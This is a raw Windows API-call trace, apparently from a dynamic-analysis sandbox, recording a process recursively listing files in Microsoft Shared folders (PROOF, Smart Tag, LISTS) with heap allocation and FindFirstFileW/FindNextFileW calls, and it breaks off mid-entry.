1 [0074.860] GetProcessHeap () returned 0x550000 [0074.860] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0074.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0074.862] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.862] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0074.862] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0074.863] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0074.863] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0074.863] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0074.863] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0074.863] GetProcessHeap () returned 0x550000 [0074.863] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0074.863] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0074.864] GetProcessHeap () returned 0x550000 [0074.864] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0074.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0074.871] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.872] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0074.872] GetProcessHeap () returned 0x550000 [0074.872] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0074.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0075.592] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.592] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0075.592] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0075.592] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0075.593] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0075.593] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0075.593] GetProcessHeap () returned 0x550000 [0075.593] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0075.593] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0075.593] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0075.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0075.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0075.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0075.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0075.594] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0075.595] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0075.595] GetProcessHeap () returned 0x550000 [0075.595] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0075.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0076.570] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.570] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0076.570] GetProcessHeap () returned 0x550000 [0076.570] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0076.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684370 [0076.570] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.571] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0076.571] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0076.571] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0076.571] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0076.572] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0076.572] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0076.572] FindClose (in: hFindFile=0x2684370 | out: hFindFile=0x2684370) returned 1 [0076.572] GetProcessHeap () returned 0x550000 [0076.572] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0076.572] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0076.573] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0076.573] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0076.573] GetProcessHeap () returned 0x550000 [0076.573] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0076.573] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0076.573] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0076.574] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0076.574] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0076.574] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0076.574] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, 